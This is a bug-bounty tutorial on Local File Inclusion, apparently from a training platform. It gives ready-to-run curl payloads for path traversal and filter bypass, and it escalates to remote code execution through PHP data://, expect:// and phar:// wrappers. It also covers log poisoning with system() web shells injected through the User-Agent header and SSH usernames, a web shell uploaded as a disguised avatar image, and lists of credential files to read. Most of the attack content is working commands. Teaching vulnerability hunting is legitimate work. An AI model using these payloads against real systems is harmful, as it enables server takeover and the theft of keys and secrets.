Beginner levelFree

LFI — Local File Inclusion: payloads, filter bypass, log poisoning and RCE

Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning and escalating LFI to RCE on PHP/Java/Node stacks.

Gorka El BochiMay 11, 202612 min

Stop reading about bugs and start hunting them

No card · free Academy · cancel anytime

Create free account

Quick answer

LFI lets you read (and sometimes execute) arbitrary files on the server via a vulnerable inclusion parameter. The methodology: detect the sink (?file=, ?page=, ?view=, ?include=) → traverse with ../ + encoded variants → bypass filters (null byte, double encoding, UTF-8 overlong) → escalate to RCE via PHP wrappers, log poisoning, /proc/self/environ, or phar deserialization. Typical bounty for LFI → RCE: €2000-€10000.


Detection — which parameters to suspect

Any parameter that looks like it loads files or templates:

ruby
?file=home.html      ?page=about     ?view=profile
?include=header      ?template=main  ?lang=es
?doc=manual.pdf      ?path=/img.png  ?content=intro

Basic probe:

bash
curl "https://target.com/index.php?file=../../../../etc/passwd"
curl "https://target.com/index.php?file=....//....//....//etc/passwd"
curl "https://target.com/index.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

If the response contains root:x:0:0: → LFI confirmed.


Filter bypass — payload table

FilterBypassExample
Strips simple ../Double dots....//....//etc/passwd
Recursive .. stripMixed..././..././etc/passwd
URL decode onceDouble encode%252e%252e%252f (..%2f)
Whitelist .pngNull byte (PHP < 5.3.4)../../etc/passwd%00.png
Whitelist absolute pathForce absolute/var/www/html/../../etc/passwd
Strips slashUTF-8 overlong..%c0%af..%c0%afetc%c0%afpasswd
Appends .phpPath truncation../../etc/passwd/././. (×4096)
Filters passwdWrappersphp://filter/convert.base64-encode/resource=/etc/passwd

[!tip] When to try double encoding If the WAF decodes once before applying the regex, double encoding (%252e%252e%252f) passes because the regex sees %2e%2e%2f not ../. The app decodes a second time when using the parameter → traversal works.


PHP wrappers — the gold ecosystem

PHP supports wrappers that change how the resource is accessed. They're the difference between LFI = info leak and LFI = RCE.

php://filter — base64 source disclosure

Reads the PHP source code without executing it:

bash
curl "https://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Output: PD9waHAg... → base64 decode → source code

Useful for finding more LFIs, SQLi sinks, hardcoded creds.

data:// — inline code execution

If the data wrapper is enabled:

bash
curl "https://target.com/index.php?file=data://text/plain,<?php%20system('id');%20?>"

expect:// — direct RCE

Requires the expect extension:

bash
curl "https://target.com/index.php?file=expect://id"

phar:// — deserialization RCE

The most underrated. When a PHP sink calls file_exists(), fopen(), file_get_contents(), unlink(), getimagesize() on a phar:// path, the .phar file is deserialized automatically. If the app has a class with a dangerous __destruct or __wakeup → RCE.

bash
# Generate a malicious phar (PoC with gadget chain)
php -d phar.readonly=0 generate_phar.php
# Upload as avatar/image (content-type check passes)
curl -F "avatar=@malicious.jpg" https://target/upload
# Trigger via LFI:
curl "https://target.com/index.php?file=phar:///var/www/uploads/avatar123.jpg/payload"

[!danger] Phar deserialization It works even if the LFI endpoint only allows reads — deserialization happens during the file stat. PHP 8 keeps phar enabled by default. Real bounty with this chain: €5000-€15000.


Log poisoning — LFI to RCE without upload

If you control the content of a log the server writes, and you include that log via LFI → your payload executes as PHP.

Apache access.log

bash
# Step 1: inject the payload via User-Agent
curl https://target.com/ -H "User-Agent: <?php system(\$_GET['c']); ?>"

# Step 2: include the log
curl "https://target.com/index.php?file=/var/log/apache2/access.log&c=id"

SSH auth.log

bash
# Step 1: SSH with a PHP username
ssh '<?php system($_GET["c"]); ?>'@target.com
# The login fails but it's logged in /var/log/auth.log

# Step 2: include the log
curl "https://target.com/index.php?file=/var/log/auth.log&c=id"

/proc/self/environ

bash
# The injected User-Agent is reflected in the CGI process environ
curl "https://target.com/index.php?file=/proc/self/environ" \
  -H "User-Agent: <?php system(\$_GET['c']); ?>"

Typical targets per OS

LinuxWindows
/etc/passwdC:\Windows\win.ini
/etc/shadow (needs root)C:\boot.ini (legacy)
/etc/hostsC:\Windows\System32\drivers\etc\hosts
/proc/self/environC:\xampp\apache\logs\access.log
/proc/self/cmdlineC:\inetpub\logs\LogFiles\
/var/log/apache2/access.logC:\Windows\Panther\Unattend.xml
/home/<user>/.ssh/id_rsaC:\Users\<user>\.ssh\id_rsa
~/.bash_historyC:\Users\<user>\NTUSER.DAT
.env, wp-config.phpweb.config

Real LFI → RCE chain (avatar + include)

A classic pattern in legacy PHP apps:

php
<?php include $_GET['view']; ?>
bash
# 1. Upload an avatar with embedded PHP (content-type check passes)
curl -F "avatar=@shell.jpg" https://target/upload
# shell.jpg content: <?php system($_REQUEST['c']); ?>

# 2. The app saves it to a predictable path
# /var/www/html/uploads/avatars/USER_ID.jpg

# 3. Include via LFI
curl "https://target.com/layout.php?view=/var/www/html/uploads/avatars/104.jpg&c=id"
# → RCE

Non-PHP stacks — the gotchas

LFI isn't exclusive to PHP. On Java, Node and Python it's usually read-only (no direct RCE), but the impact is still high.

StackTypical sinkEscalation
Java/Springnew File(input), Files.readAllBytesRead application.properties, .jar with secrets
Node.jsfs.readFile(path.join(BASE, input))Read .env, source .js, configs
Pythonopen(input), pathlib.Path(input).read_textRead .env, settings.py, Django SECRET_KEY
Goos.ReadFile(input)Read configs, certs

[!warning] Path normalization desync Node + Bun have cases where the URL parser preserves // but path.join() collapses it. Result: string-based middleware (startsWith("/admin")) can be bypassed with //admin/secret. Always test //, \, %2f, %5c on parameters that normalize paths.


Hunting checklist

  • Identify all params with a path shape (file=, view=, page=, include=)
  • Basic probe with ../../../../etc/passwd
  • If filtered: double encoding, ....//, null byte, UTF-8 overlong
  • PHP detected: try php://filter/convert.base64-encode/resource=index.php
  • Phar available: generate a gadget chain and trigger with phar://
  • Log poisoning: inject the payload in User-Agent or SSH login
  • /proc/self/environ to extract env vars (AWS keys, JWT secrets)
  • Source code disclosure → look for more LFIs, SQLi, hardcoded creds
  • Combine with an arbitrary upload for end-to-end RCE
  • Test on non-PHP stacks: read .env, application.properties, .git/config

Practice full LFI exploitation from basic traversal to RCE via phar and log poisoning in the LFI labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Lfi Extraction

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

The PHP `phar://` wrapper trick that turns LFI into deserialization RCE without the endpoint accepting uploads — works in 70% of legacy PHP apps.

Unlock

€7.99/mo · cancel anytime

Related articles

4,183

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.